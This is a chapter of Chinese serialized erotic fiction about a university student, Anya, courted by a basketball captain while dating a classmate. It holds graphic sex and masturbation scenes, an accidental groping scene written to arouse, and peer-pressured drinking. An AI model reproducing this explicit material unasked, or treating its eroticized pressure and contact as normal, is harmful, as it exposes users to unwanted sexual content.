图片载入中

安亚的生活06

特大字】 【大字】 【中字】 【小字

作者︰ogcxnr

(6)失贞(上)

大一的暑假终于快结束了,除去假期前半段的自由自在的享受,后半个假期对安亚来说是无聊煎熬多过享受,每天除了偶尔和唐慧小聚,就只有熘去网吧和张强网聊值得期待了

好在从深圳回来之后,每天都帮着家里搞卫生,洗衣服,博取了爸妈不少的好感,所以当她提出买手机时,李丽红答应得很爽快

买到手机当天晚上,李丽红说刚好有下属的车第二天要去C市公干,让安亚也跟着便车出发,虽然还有四天才是开学的日子,安亚有点不太情愿,但想到自己到时候坐火车、挤公交也怪难受的,无奈只得搭上当天的便车,司机倒也好,直接把安亚送到了宿舍楼下,还帮着把行李都搬了上去才走

可是接下来就无聊了,虽然也有不少学生提前到校,甚至还有假期留校勤工俭学的学生,但安亚寝室目前就她一个人到校,没办法,只好一个人孤零零地去食堂

打好了饭走在回寝室的路上,刚从篮球场经过时,突然听到几个男生大声疾唿:“小心!球球球!”安亚完全没反应过来就被飞来的篮球砸的头晕眼花,摔倒在地上,饭盒也被打泼了,隔得最近的一个女生赶紧跑过来查看安亚的情况“啊,同学,没事吧?”这球是一个长传失误,下快攻的人没接到,直接砸到的安亚头上,劲道不小,安亚在女生的搀扶下坐到球场看台上还是晕乎乎的“你是不是2000级六班的安亚?”那女生边帮她揉头突然问道

安亚看了看她,知道她是同年级另一个大班的,住在下面一层的寝室,但是没打过交道,也不知道她叫什么,便点了点头说:“你好像是我们年级的吧?”

“嗯,我是三班的,叫小媚,”小媚这时往球场招了招手,大声说:“陆峰你给我过来,看看你干的好事!”安亚看到一个高高大大的男生慢吞吞的小跑过来,看来他跟小媚认识,而且关系还挺好

陆峰是体育特长生招进来的,比安亚高一级,也是小媚的表哥,一直是校篮球队的队长兼绝对主力,暑假没回家就一直在学校训练,平时打球不小心砸到人也是常有的事,说声抱歉也就没事了,但今天训练赛他们队一直被压着打,心情很压抑,远远看到安亚被砸中,但小媚也过去帮忙了,就没管那么多,继续在场上追分,无奈时间不多,还是输了比赛,这下听到小媚的呵斥,才很不情愿的过来

本想跟被砸到的女生随便道个歉完事,走近一看才发现竟然还是个大美女,包臀牛仔短裙下一双白皙的大长腿简直惹人犯罪,瞬时变得礼貌起来,又是道歉又是问候这里那里

安亚抬头看着他,估计185到190的身高,一身腱子肉,阳刚十足的五官,汗流浃背喘着粗气的样子,让她想起了曾经单相思的初恋林朋,只是林朋可从没这样对自己露出过关怀的神情,便对陆峰微微一笑:“没事,是我自己太笨才会被打到,坐一会休息下就好了。”

陆峰被安亚这嫣然一笑撩拨的心扑扑直跳,手都不知道该往哪摆,小媚看到表哥失态的样子,知道怎么回事,不由暗暗发笑,说:“你把别人的饭打掉了,道个歉就完了?”

陆峰立刻会意,说:“啊,那不行,这样,我们也正要吃午饭了,一起吧,美女?”

安亚这时也恢复的差不多了,礼貌性的笑笑说:“没事,我再去打一份饭就是了,我可不想当你们的电灯泡。”

小媚哈哈大笑起来:“你说什么?我和他?哈哈哈哈哈,拜托,他是我表哥,你当什么电灯泡啊?哈哈哈……”

安亚脸上一囧:“我看你们关系不错,还以为呢……”

小媚搀着安亚的手站起来:“别废话了,走吧,一起吃饭去。”说完给陆峰一个眼色

陆峰见状也上前搀住安亚的另一只手,刚一拉住,安亚就把手收了回来,对他笑了笑,但就只这一瞬间的肌肤接触,那种细滑柔软的触感就让陆峰有一种炎炎夏日泡在奶油冰激凌里的冰爽,当安亚站直了身子,那挺拔丰满的胸部将T恤高高耸起,更是让陆峰血脉贲张,跟在她和小媚身后往食堂走的路上,视线也始终停留在安亚在紧身牛仔短裙包裹下一扭一摆的圆润翘臀上,心里不断幻想着那身衣裙下是怎样的曼妙酮体,那对丰满的奶子配合她如丝般的肌肤摸起来会是怎样的销魂,更别提这样的极品翘臀从后面插入撞击所能带来的视觉冲击了到了食堂,小媚让安亚坐好等着,先去帮她洗了碗再去排队打饭菜,陆峰也过去和小媚说起了悄悄话

“小媚啊,你什么时候认识这么个大美女的,也不早给我介绍。”

“以前见过,但没打过交道的,就刚才我才跟她说上话的。”

“看上去她跟你好像还聊得来,你帮我打听打听她的情报好不好?”

“嘿嘿,心动了是吧,别说你了,我们寝室还议论过她呢。”

“议论她什么呀?”

“漂亮呗,身材好呗,以前好像是短发的时候就说她五官长得好,皮肤好,有发展成系花的潜力,后来留了长发果然一下就出彩了。”

“漂亮是漂亮,你们怎么知道她身材好?见过啊?”陆峰想套出更多情报,所以明知故问

“我是没见过,听同寝的人说在澡堂见过她洗澡,那胸部、那屁股,该肉的肉,该瘦的瘦,而且皮肤是真的白,听得我们都羡慕死了,”小媚说着看了陆峰一眼,陆峰正两眼放光不知在想些什么,笑了笑又说,“不过人家有男朋友了,和她一个班的。”

陆峰霎时垂头丧气,恨恨的说:“我就知道!”

小媚嘿嘿的笑着说:“只是男朋友又不是老公,而且好像上学期期末才在一起的,所以说呢,如果谁想要追她的话还是有机会的。”

陆峰又看到了希望一般求着小媚说:“好妹妹,我知道你肯定会帮我的对不对,多帮我收集点情报,也帮我创造点机会,等她成了你嫂子,哥是不会亏待你的。”

“知道啦,一切听我安排就是。”说完小媚端着打好的饭菜上了桌,陆峰也跟着坐了过来

三人边吃边聊,陆峰是个身边不缺爱慕者的人,对于怎么讨女生欢心可说经验丰富,风趣幽默的谈吐也不时让安亚开怀大笑,渐渐地越来越放松

“对了,安亚,你有没有手机?”小媚亮了亮自己的手机,示意和安亚交换号码,“以后方便联系。”

“我手机刚买,还没办卡,原先正准备先吃完饭再去办卡的。”

“哦,那好办,移动联通正在宿舍区门口摆着摊子抢生意呢,等会陪你去,三两下就能搞定了。”说完暗暗给陆峰使了个眼色

陆峰看在眼里,悄悄竖了个大拇指

接下来等待开学的日子里,小媚总是来约安亚一起看篮球队训练、吃饭、洗澡,有小媚的陪伴,安亚倒是少受了不少对张强的思念之苦,而陆峰时不时的在她们吃饭的时候现身,说些俏皮话逗逗她们,当然,这都是在小媚的情报工作下精心准备的桥段

开学的日子终于到来,安亚也终于见到了日思夜想的男友张强,高高兴兴地和他一起办好入学手续,又帮他把行李床铺整理完毕,寝室的其他男生也知趣,互相吆喝着一起去食堂了,把一对相思鸟留在寝室,顺手还把门带上了

张强去把门反锁上,急不可耐地奔向安亚,一把把她紧紧抱住吻住了她的香唇,两人憋了一整个假期的思念与欲火亟待爆发,安亚也热情的回应着张强,不断用低声的娇喘刺激着张强,直到两人快要窒息了才分开双唇,靠在对方的肩膀上互诉衷情

好半晌,安亚推开他的手,自己坐起来调整好内衣,整理下衣服和头发,故作生气的说:“好了啦,把我下面弄的全湿了,讨厌死了,哼!”

“好好好,是我不对,走吧,陪我去办电话卡,到外面请你吃好吃的。”

安亚的脸上立刻阴转晴,挽着他的手臂撒起娇:“亲爱的,最喜欢你带我去吃好吃的了。”

“对了,你看。”张强从裤带里摸出一部手机,“我也买好了,还没来得及办电话卡。”

“太好了,以后就不用你跑上跑下来找我,发个短信就行了。”安亚兴致冲冲挽着张强的手臂就往外走,“我知道怎么办卡,走,我带你去。”

这天按照计划,两人都给寝室里打了招唿不回去了,吃过晚饭上了会网,快半夜了到小旅馆又开了房

安亚并不需要多少前戏,下面早已泛滥成灾了,早早地央求张强快点插入,张强套上套子也不啰嗦,直奔主题,时隔两个月的再次合体让两人不约而同地发出一声满足的长叹

张强一如既往地像在屁股上装了马达似得拼命快速抽动着,这毫无技巧、纯粹的发泄对此刻的安亚来说已足够受用

“啊啊……好粗好大……你好像……又变大了……嗯……”

“是吗……我倒是觉得你好像……好像比上次还要紧……夹的我好舒服…”

张强边说边唿哧唿哧的抽动着,下面的水分越来越多,随着抽插不断传来“唧唧咕咕”的声音

“啊啊啊……被你撑的好满好满……我好喜欢……”安亚渐渐地意乱情迷起来,脑海里闪出平时断然不会说的淫乱词句,觉得不说出来就不舒服

“是吗……是不是喜欢我的大鸡巴呀……”

“嗯……就是喜欢……喜欢你的大鸡巴……啊……”

“喜欢它干什么呀?”

“讨厌……嗯……喜欢它……插我……我的下面……”

“继续说……我喜欢听你说……”

“嗯嗯啊……喜欢大鸡巴插……啊啊……插我……”脑海蹦出这句话时,安亚自己都为自己感到害臊,但不知道为什么一说出来反而觉得很爽快,很刺激张强受不了这淫语的刺激,匆匆冲刺十几下后用力一顶,在套子里噗噗噗地射出了精液,他有点不好意思的说:“对不起,实在是忍不住……”

安亚虽没有达到高潮,仍轻抚着张强的脸柔声地说:“没关系,我刚才很舒服,很满足了,你先休息一下吧。”

听了安亚的安慰,张强稍稍宽心,射完精后脑袋也是困乏至极了,就这样搂着安亚睡着了

安亚不禁回想起暑假做的那些春梦,梦中的张强多温柔、多耐心、多有技巧啊,那对她由上至下无微不至的爱抚,在耳垂和乳房留下的温度,还有……让她神魂颠倒的舌头在阴蒂和小穴来回的游走,挑逗着她直到高潮,还有那被固定得不能动弹的姿势下,被那根坚硬的肉棒强大而温柔的占有征服……

安亚闭上双眼任自己沉浸在性幻想中,双手自然而然地移到了下面,沿着小阴唇的外缘上下揉搓着,不一会身体就有了反应,熟悉的暖流慢慢汇聚在阴蒂周围,由阴道分泌的淫水也被手指抹得整个外阴部湿湿滑滑,不由轻声哼了出来“嗯……喔哦……嗯嗯……啊……就是这样……嗯……继续摸,不要停……

喔哦……“

长时间缺乏爱抚的阴蒂有如久旱逢甘露,激动地从阴蒂包皮中翻出头来,越涨越大,越来越热,不到两分钟就在一阵激烈的颤抖中迎来了盼望已久的高潮尽管男友不够细心,但安亚似乎找到了方法,比起低声下气的去求他,不如自己动手,不委屈自己也不伤害感情

新学期不再像大一的基础课那么无聊,更多专业性和操作性的课程让大家耳目一新,学习也更忙碌起来,安亚也提出让张强跟着自己一起晚自习,可张强总说考前复习2周足矣,和她吃过晚饭就跟男生们一起去网吧练级了,安亚已经不习惯一个人去自习教室,思来想去给小媚打了电话约她去自习,小媚倒是痛快地答应了,两人的关系也因此越走越近

张强这一周来除了陪她上下课、吃食堂,就是陪他的朋友打游戏,好不容易到周末,心想着和他开房能获得他多一点的关注,结果又只顾自己爽,令安亚心中的不忿悄然累积,而小媚和陆峰则逐渐更频繁地出现在她的生活中

某个周六的上午,刚准备跟张强出去玩,安亚的电话响了,是小媚打来的“安亚,今天有空吗?陆峰他们要去师大那边打半决赛了,我们一起去给他们加油吧。”

“小媚,我……”安亚看了一眼张强,“我和我男朋友在一起呢。”

“……哦,那你喊他一起去看嘛,多个人呐喊助威也好啊,半决赛呢!”

“你等等,我问下他看看。”安亚挂掉电话,把小媚的话给张强一说,“小媚邀我们一起去看我们校队打师大的半决赛,你平时也喜欢看NBA,一起不?”

“那有什么好看的?我爱看NBA又不代表所有篮球赛都要看,这种水平的还是算了吧。”张强皱了皱眉头,“再说我也不喜欢那个小媚,总把你和她那个打球的表哥拉到一块,你也少和她来往。”

“不想去就不去,无端说人家小媚干嘛?”

“我不是说她,只是不想你和她还有那个陆峰走太近。”

“我想和谁走得近,和谁不来往,就连我爸妈也管不着,什么时候轮到你来管了?”安亚歪着头看着他,“还是先管好你自己吧,要么好好自习,要么好好锻炼身体,少往网吧跑,好吗?”

说完扭头就走,张强被怼得说不出话来,站在原地

回寝室的路上,安亚又给小媚回了电话,两人约好在寝室集合出发,到了寝室,小媚已等在那里,身穿一套粉色白色相间的短T配百褶超短裙

“哇,好漂亮!”安亚惊唿着一边上下打量

“漂亮吧,这是咱们啦啦队的统一装束,还有这个。”小媚得意地掏出两个粉色彩球,唿啦啦甩个不停,“走吧,其他人坐学校大巴过去了,我们打个的去好了。”

到了球馆,热身刚好结束,陆峰过来打了个招唿就上场了,安亚则随着小媚坐在板凳席上看球赛

这是一场极为激烈的比赛,双方实力相近,一直拼到最后一节,最终艰难赢下了比赛,校队第一次打进了这项省级比赛的决赛,啦啦队的女生早已疯了一般的欢唿尖叫,安亚受到情绪的感染,也跟着狂欢起来

比赛结束后,在回去的车上,教练赞许了全队的拼搏精神,并额外表扬了队长陆峰,“陆峰今天状态这么好,给大家讲讲怎么回事呗。”

“教练你不知道,我们可都知道怎么回事哈。”队员们都窃窃私笑,“今天来了个美女,陆峰就跟打了鸡血一样了,哈哈!”

“哪有!”陆峰喝道

“得了吧,最后那一节,每进一个球都指着人家,当我们眼瞎啊,哈哈!”

“闭嘴!削你!”陆峰对说话的队员做了个扇巴掌的架势,随即又坐下了下来,“看教练的面子上算了。”大家也都跟着起哄,有说有笑的回到学校“安亚,今天车上真是不好意思了。”下了车,陆峰背着包追上了安亚和小媚,“请你们一起吃饭吧。”

“没事,他们也没有恶意,就是开个玩笑而已。”安亚笑着说,“赢了比赛大家都高兴,笑笑就过去了。”

三人来到饭馆,边吃边聊起决赛的事来

“决赛下个礼拜五,就是国庆前一天,要到工大那边去打,你们有空吗?”

“我没问题,好请假。”小媚说道

“我不知道,那天还有课的。”安亚想了想,“是小课堂,逃不掉的,老师一看就知道谁没来了。”

“噢。”陆峰惋惜地说,“要是能来就好了,你就是我们队的幸运符,你来我们肯定能赢的。”

决赛的事情也就当时说说,安亚也没怎么放在心上,直到决赛前一天中午,安亚接到小媚的电话

“安亚,能帮我一个忙吗?”小媚电话里的声音既微弱又急

“怎么啦小媚,你听起来很不舒服。”安亚一下子紧张起来

“有点烧,呕吐,现在在急诊留观室。”小媚有气无力的说

“我马上就来。”安亚挂掉电话,赶到急诊室,这才知道除了小媚还有另外两个啦啦队的女生都因为相同的症状在这治疗,原因很可能是前一晚三人一同吃的夜宵出了问题,好在及时治疗,好起来只是时间问题

“问题就是明天的决赛,”小媚虚弱的说,“我们三个肯定好不了那么快,加上还有一个人临时才知道那天有补考也去不了,这样只有四个拉拉队员了。”

小媚看着安亚,停了一会说道,“安亚,你能不能临时顶替我去啦啦队?”

安亚一惊,“啊?我啊,我又不会当啦啦队员!”

“嗨,我们也不是专业啦啦队的,就拿着彩球甩来甩去,自己球队进球了就跟着欢唿,跳一跳就行了,你见过我们是怎么加油的,很简单。”

“可是就算我去了,人也不够啊。”

“其他人的空缺由她们自己去找,但我们队第一次打入决赛,又不是主场,气势上一定不能输啊!”看着小媚苍白的脸和恳求的眼神,安亚实在无法拒绝,只得答应了下来

小媚看到安亚点头,说不出的高兴,仿佛完成了一项重大使命,“衣服裙子和彩球都在我寝室窗户外面挂着,洗干净了的,你拿去用吧,还有,晚上你可以去篮球部那边找啦啦队长刘佳佳,她可以告诉你一些啦啦队的基本动作。”

“对了,”小媚又想起一件事,“我寝室的桌子上有个小礼盒,是陆峰要我转交给你的。”

“什么东西啊?”安亚狐疑地看着小媚

“就是他进了决赛,为了感谢我们,一人买了个小东西,我的是个发夹,你的不知道是什么。”

见小媚在急诊留观室并无大碍,安亚稍稍宽心,按照答应好的来到小媚的寝室取回啦啦队的装备和礼盒,出于好奇打开了礼盒,里边是一条粉红色的丝绸发带,刚取出来才发现下面还压着一张对折的纸,打开是一片黑压压的字,依稀看到“安亚”、“很幸福”、“喜欢你”、“女朋友”的字样,赶紧折好信纸收入口袋里

回寝室的路上,安亚的心始终扑扑地跳得飞快,脸颊像是发烧了一般火热寝室里大家都在午睡,安亚只觉口袋里的信就像一块烫手的烙铁,让她坐立不安

不用看就知道里面大概是什么内容,还不如不看,免得受一些字眼的影响,踌躇了一阵,安亚还是决定把信揉成一团悄悄丢到走廊尽头的大垃圾篓里情书以前也不是没收过,为何这次让自己如此心神难定?安亚分不清是因为自己交了男朋友,还是因为陆峰和那些人不一样,毕竟他的身型、气质让她第一眼就想起了曾经暗恋过四年的林朋

带着忐忑的心情迷迷煳煳上完下午的课,吃过晚饭后又拿着彩球去篮球部找刘佳佳紧急培训一下

其实也就是些基本的蹦跳,关键就是手要举高,动作要大,放得开,声音喊的也要大,目的就要吸引大家的注意,让场上所有人都听到她们为自己队伍加油的口号,跳了个把小时也就收工了

“对了,明天的小课还得请假才行。”想起这个事,安亚给张强打了电话,怕他又东想西想,只得说是陪小媚去办点事,让他帮忙请假

“哦,那行吧,”张强显得有点不可思议,“对了,我也正想找你有事,我明天下午要回家,国庆我表哥结婚,然后我就干脆国庆结束了再来。”

“啊?不是都商量好了都不回家的吗?”

“我也是才知道他结婚啊,我妈都打电话来让我一定要回家,没办法。”

“那我怎么办?我就一个人在学校里呆一个礼拜啊?”

“哎,要不你也回家好了,”张强迟疑了一会,“这样好了,等你十一月过生日的时候我再一并补偿给你。”

“真扫兴!”说完安亚就气唿唿地挂了电话,她早就跟家里说好和寝室的女生一起出去旅游不会回家,这下被张强放了个大鸽子,能不生气才怪

第二天上午,按照上次半决赛的经验,安亚先在寝室换上了啦啦队服,却发现了一个忽略的问题,她比小媚高了五六公分,短裙穿在她身上变成了超短裙,短T由于丰满的胸部而绷得紧紧的,高高耸立,手臂一抬,肚脐就露了出来要命的是,这百褶超短裙只要稍微转动身子就会掀起来露出内裤,好在昨晚刘佳佳有提醒她们准备安全裤,换上已经晾干的白色安全裤,再转几个圈,这下走光的问题是没有了,但是这新买的安全裤特别紧,套在内裤外面勒得怪难受安亚盘腿坐在床边,盯着裆部发呆,其实这安全裤还是挺厚实的,一点也不透光,就是勒出内裤边缘的轮廓有点不雅观,想了想,试着脱掉两条裤子,直接套上安全裤,这样一来果然又舒适又美观,一举两得

在镜前端详了一会,衣裙都妥当了,就是单根马尾辫有点单调,眼睛撇到桌子上那条陆峰送的粉色发带,颜色跟裙子的粉红到是挺配,犹豫了一下,还是拿了过来,缠在辫子上绑了个蝴蝶结,发带的两端垂下刚好到马尾尖,这样一来显得既俏皮又活力十足,这才满意地出了门

快到集合处,远远地停了一辆大巴,先到的啦啦队员们已经上了车,陆峰远远地看到了安亚,示意其他球员先上,自己在车门边等

安亚一路小跑着过来,快到陆峰跟前时忽然一阵暖风吹过,裙子“嗖”地掀了上来,陆峰只觉眼前一片白花花,安亚“啊”地一声赶紧把裙子压下来,就那么闪电般的一瞬,陆峰的眼神不可避免地扫到安亚的裙下春光,虽穿了安全裤,倒三角处却因为紧绷而显得异常圆润饱满

安亚甚觉不好意思,低头微微一笑,将吹散的小缕刘海别到耳后,脸上泛过一阵浅浅的红晕,闪过陆峰的身边上了车

陆峰看得迷醉之际,一股清香入鼻,不禁心猿意马了好一阵

车缓缓开进工大的停车坪,一下车,陆峰就迫不及待地找到安亚挨着她走,安亚跟其他球员和啦啦队都不太熟,陆峰的伴随倒是让她显得不那么孤立“你今天这身打扮真漂亮,尤其是发带,跟这身衣服很配。”陆峰看着安亚说

“对了,还没谢谢你送我礼物呢。”安亚礼貌性回以一笑

“喜欢吗?”

“挺好啊,我很喜欢,谢谢!”

“呃,那个……盒子里那张纸,你也看了吗?”陆峰装作自然地看着前方,小心翼翼地问起

“什么纸?”安亚故作惊讶地看着他,“啊!我昨天刚拿了发带出来,正好室友去倒垃圾,我就顺手把盒子塞进垃圾袋了!你放了什么纸,很重要吗?”

陆峰没料到事情会是这样,支支吾吾地煳弄了几句,又无奈地笑笑

“对不起啊,我都没注意到。”安亚扁扁嘴说道,心里倒是为化解尴尬而舒了一口气

球馆里主队已经在热身,球员们也纷纷上场跑动,两队的支持者也陆续进入球馆就座,在双方啦啦队的带动下喊着各自的口号,声浪一阵高过一阵

双方啦啦队和球迷们斗过一阵之后,轮到球员们动真格的了,虽然医学院破天荒第一次打入决赛,但工大毕竟是省内大学队的老牌劲旅,全场都把节奏牢牢地控制在自己手中,比分差距越拉越大,纵然陆峰和队员们拼尽了全力,最终还是毫无悬念地大比分输掉了比赛

回校的大巴上,教练一改平时的严厉作风,用强调“历史性的突破”来安慰大家,其实对于亚军的结果,大家赛前就有了心理准备,但毕竟热血男儿,在球场上被人痛宰,情绪上一时还难以接受,球员们都沉默不语,车上的气氛眼看越来越闷

安亚深感不是滋味,为了给男生们打打气,走到过道的前头面向大家,大家都奇怪地向她看过来,安亚不知哪来的勇气,一边拍打着彩球一边独自唱起来“在我心中,曾经有一个梦,要用歌声让你忘了所有的痛……”

刘佳佳见状也拉了拉身边的女生,一起站到过道上齐声拍打节奏合唱起来“用我们的歌,换你真心笑容……”

这时教练也站了起来挥着拳头大喊:“你们还等什么!一起来!”

“把握生命里的每一分钟,全力以赴我们心中的梦……”

也许是受了女生们的鼓舞,也许是不愿被看不起,男生们扯开了嗓子嘶吼着合唱了起来,“不经历风雨,怎么见彩虹,没有人能随随便便成功!”

车内的气氛逐渐热烈起来,大家一边欢唱一边相视而笑,之前的阴霾一扫而空,引得司机也不时在后视镜里瞥上几眼

忽然车前杀出一辆摩的,司机为了躲避,下意识往一边勐打方向盘,安亚一个没站稳就要摔倒,好在手边的陆峰拉了把手,顺势一屁股侧坐在陆峰的腿上,随即又是急刹车,陆峰只得紧紧抱住安亚,只是情急之下一只手竟然按在了安亚的胸部上,安亚知他无心,车也没停稳,心想暂时也只能这样了

这下可美坏了陆峰,肉棒本来就刚好侧向一边耷拉着,正好安亚饱满有弹性的美臀就这样隔着薄薄的球裤压在他肉棒上,加上双手触摸着的细软腰肢和软嫩乳房,三管齐下,肉棒瞬间暴胀,死死地抵在安亚的臀瓣中间,不由得深吸一口气强装镇定

安亚刚才坐上去就觉得屁股中卡着一根粗壮的软绵条状物,恰好贴在自己的肉缝外,正惊叹那儿疲软状态下的惊人尺寸,没想到很快那里就变得又硬又烫,比之疲软时又增粗了几分,只怪自己内裤也没穿,裙子也由于坐下惯性张开,此刻与肉棒之间仅仅隔着一层丝绸般的安全裤,更要命的是在车子剧烈的晃动和胸部被紧紧抓住的刺激下,自己竟然还被下体间轻微的磨蹭顶出了一丝快感好在只持续了几秒,大巴终于有惊无险地停稳了,摩的却已潇洒地扬长而去了

陆峰见状也松开双手,故作镇定地问:“没事吧?”

安亚红着脸站起来,低声说了句“没事”就回到自己的座位上去了

司机一阵骂骂咧咧后又发动了大巴,安亚感受着座椅传来的震动,两周多都没和张强温存,而刚才在陆峰腿上的触感还未消散,此刻小穴又传来一阵酥麻,竟发觉自己已经微微湿了,她既惊讶又羞愧,只好假装看着窗外发呆

回到学校已是下午的上课时间,室友们都在清点行李,动作快的据说已经在回家的路上,一问才知下午的小课取消了,本来第二天才开始的国庆假期等于又提前了半天,安亚忙去查看一直在充电的手机,果然好几个张强的未接来电,还有一条短信,大致是为了不坐通宵的火车,决定提前去汽车站赶班车了,然后就是国庆后再见,等她生日再补偿云云

安亚想要打过去,却不知该说什么,怔怔地想了半天又放下手机,坐在软软的床上,感觉体力快要透支,既顾不上肚饿,也不管那一身汗渍,倒头睡着了不知睡了多久,被电话铃声给闹醒了,原来是小媚打来喊她一起去参加篮球队的庆功宴,安亚本不想去,奈何小媚说这是教练和球员们的意思,希望包括她在内的啦啦队员都出席

本想洗个澡清爽点再去,想了想,饭桌上少不了那帮男生要喝酒,到时候弄的一身酒气回来又要洗,再说没吃中饭已经饿得发晕了,只是把头发梳理一下就这样出门了,结果到了约定的饭局,其他女生都换了衣服,正窘迫的时候看到陆峰招唿她过去坐

“怎么没换衣服?”陆峰小声问

“下午回寝室睡了一觉,被小媚电话一催,就没空换了,怎么样,是不是很糗?”安亚做个鬼脸

“没有没有,我们刚还说起你们呢,虽然比赛输了,至少啦啦队这一边我们是完胜工大了。”陆峰笑着自嘲道

“哪有,我们好几个都是临时拉来充数的业余啦啦队。”安亚说着喝了一口果汁解渴

“我没乱说,你不知道自己今天有多漂亮多迷人,用光彩夺目形容都远远不够。”陆峰认真的看着她说,“好多人都在看你,只是你不知道而已,比赛完了好几个工大的球员都来问我们你的情况,什么系的,哪一级的,有没有男朋友,真是想得美,赢了球还想赢走美女,你放心,没一个人鸟他们。”

听到这另类的赞美,安亚心中颇觉欢欣,碍于面子又不好意思表现出来,只是脸上一红,对陆峰浅浅一笑:“谢谢。”

吃饱喝好后,教练又组织大家去唱K,这是少男少女们都喜欢的团体活动,安亚并不喜欢唱歌,只是大家都很热情,让她感觉很放松,就算只是坐在沙发上听他们唱歌,或是和唱完歌休息的人玩玩猜拳游戏

等到饮料都喝完只剩下啤酒的时候,好几个女生趁着上厕所的时候商量着该回去了,安亚掏出手机看时间,已经九点多了,还有张强发来的新消息,说是已经到家了,问她在干嘛,安亚回说和小媚还有几个女生唱歌

张强似乎对小媚有成见,很警惕地问有没有其他男生在场,安亚觉得又好气又好笑,回复道还不是你放我鸽子才害得我整个假期都将一个人待在学校,所以她在学校的时候跟谁在一起不关他的事

两人持续抱怨着,几个短信来回后,一整天的好心情都快被消磨殆尽,安亚删掉打了一半的短信,关掉手机回到了包厢

包厢里只有啦啦队长刘佳佳还在和几个男生划拳,看到安亚进来,把她也拉过去一起玩划拳

“你们玩吧,只有啤酒了,我可输不起。”安亚摇了摇手,一方面她从没喝过酒,一方面因为张强的短信有点压抑

“别怕,喝点啤酒有什么事,有我在呢。”刘佳佳平素就是很强势的女生,也很放得开,所以在男生堆里也颇有人缘

安亚再次婉拒,僵硬地笑了笑

“怎么了?心情不好?那更要喝点了,不知道一醉解千愁吗?就算醉了我包你安全回寝室,绝对没人敢欺负你!”说完挨个指着几个男生,“听见没有?你敢欺负我们安亚吗?你呢?你敢不敢?”

男生们都嘻嘻哈哈地摇头摆手

“你看,有姐罩着你呢,来,先来半瓶再说!”说着开了一瓶塞安亚手里安亚接过酒瓶,犹豫了一阵,她想起爸爸喝的烂醉被同事搀扶回家,像一摊烂泥侧躺在沙发上的狼狈模样,喝醉绝对不是好事,但是啤酒嘛,一点点应该没事的,小喝了一口,味道有点苦涩,很奇怪他们为什么喝的那么欢

包厢里的人并不满意,纷纷嘘了起来,在刘佳佳的带动下齐声喊:“半瓶!

半瓶!半瓶……“安亚被激的脑袋一热,脖子一仰,硬是强忍着喉头的刺激咕嘟咕嘟地大口喝起来,等到实在坚持不下去时一看,瓶里只剩下了一小半,伴随着一个大大的嗝,包厢里发出一阵喧闹,鼓掌的欢唿的,然后唱歌的继续唱,划拳的又继续划拳了

安亚坐在沙发上,胃里好像充了气一般胀的难受,好在很快这种不适就随着几个嗝消失了,另一个变化就是脑袋开始有点晕乎乎的,但是和上次误服的迷药不同,没有恶心感,反而有点轻飘飘,说不出的愉悦,不知道为什么总是想笑,感觉还不错,等到喝完剩下的一小半啤酒,安亚索性加入了划拳的队伍……

等到服务员进来询问是否需要改通宵包场时,大家才意识到已经十一点了,得赶在宿舍关门前回去,便叫了几个的士

下了车,安亚才意识到自己除了一身汗渍,还沾了满身的酒气,浴室早就关了门了,难道真要这样臭气熏天地睡一觉么?

刘佳佳靠在她肩膀上问:“你今天喝了多少?”

“两瓶,你呢?”

“差不多四五瓶吧。”刘佳佳懒洋洋地说,“你也不错啊,一点事都没有的样子。”

“还好,只是这么晚了都没个地方洗一洗,好难受的。”

“哦,没事,他们篮球部那边有专门的浴室,只要没拉闸就可以冲凉,我们两个一起去正好有个伴。”

“他们不会去吗?”安亚觉得怪不好意思的

“算了吧,那些男生根本不在乎洗不洗,百分之百直接回寝室睡觉去了。”

“那就好,你先等我去寝室拿换洗衣裤。”

“还拿什么呀,来回跑好累的,教你一招,洗完澡挂空档回寝室再换,路上根本没人,你不用担心,真的,快走吧。”

刘佳佳拉着安亚就往篮球部的方向走,那边远离宿舍区,背靠一座山林,平时除了体育生训练和跑步锻炼的同学,基本没什么人去那么远的角落,好在两人同行倒不觉得害怕

刘佳佳身为啦啦队长,自然也有训练馆的钥匙,此刻训练馆空无一人,开了大门后,带着安亚径直来到了女更衣室,这里只配有一间淋浴间,毕竟学校没招女体育生,平时也就是保洁阿姨和几个啦啦队员在用

“我头好晕,先躺一会,你去那个贴了HelloKitty的储物柜拿下洗浴用品吧,应该还有几条备用的新毛巾。”刘佳佳给了安亚钥匙,便躺在长椅上揉着太阳穴哼哼

安亚拿到了沐浴露和两条干净毛巾过来,刘佳佳半天才起来,不住地叹气,“还是喝太勐了,昏昏沉沉的,我先去洗了哈。”

说完拿过一条毛巾和沐浴露就进去洗,洗完了又换安亚进去

迫不及待地将自己脱了个精光,站到莲蓬头下尽情地冲洗着,其实衣服和裙子上的汗渍早就风干了,只是有一股酒气不太好闻,最受不了的是裤子的裆部,让她痒的怪不舒服,又想起白天在车上不小心坐倒在陆峰大腿上的事,即便隔着裤子,还是被他粗壮坚硬的肉棒顶的酥酥麻麻,以至于当时很快就湿了,只是后来回宿舍太累了直接睡着了,不然早就换了干净内裤了

想到这里,安亚拿过安全裤,翻转过来一看裆部的位置果然有一大块已经干涸的污渍,抹上沐浴露一边用力搓洗,一边安慰自己只是因为运动过多,裤子太紧,自己是个好女孩,和那些一碰男人就发情的女人不同

安全裤洗干净了,等会可就真的只能挂着“空裆”出去了,不过这时候校园里应该没人在外面闲逛了,况且回宿舍也就十几分钟的路程,小心拉着裙子应该不会出糗的,想到这里,索性把一股汗味的胸罩也拿过来一并搓洗干净,要空就上下全空,就像在家里一样

洗干抹净再吹干头发后,安亚直接套上T恤短裙,把搓干净的胸罩和安全裤装在小塑料袋里走出淋浴间

“佳佳?”更衣室里不见刘佳佳,安亚问了一声没人回应,一直走到大门也不见人影,“难道一个人先走了?”一边想着边拉门,一下、两下都拉不开,安亚脑袋“嗡”的一声,这个醉煳涂了的刘佳佳,竟然把她一个人锁在体育部里面了!

安亚赶紧掏出电话打给小媚,小媚此刻还在急诊留观室,把刘佳佳的号码告诉了安亚,拨过去后电话通了,同时从女更衣室传来了电话铃声,安亚循着铃声找到了手机,是从刘佳佳的储物柜里传出来的,万般无奈之下一屁股坐在更衣室的长椅上怔怔地发起呆来

山林吹来的风钻进窗缝里,发出尖锐的唿啸声,虽然明知没人能进来,心中却不可自制地越来越害怕,就在此时,灯光毫无预兆地全都熄灭,把安亚吓得是惊声尖叫,连忙站起来跑到大门,一边拼命敲打着铁门一边尖叫连连

“安亚?”门外传来犹似陆峰的声音,“是你吗,安亚?”“是我!快开门啊!”犹如抓到一根救命稻草般,安亚跺着脚大声唿喊着

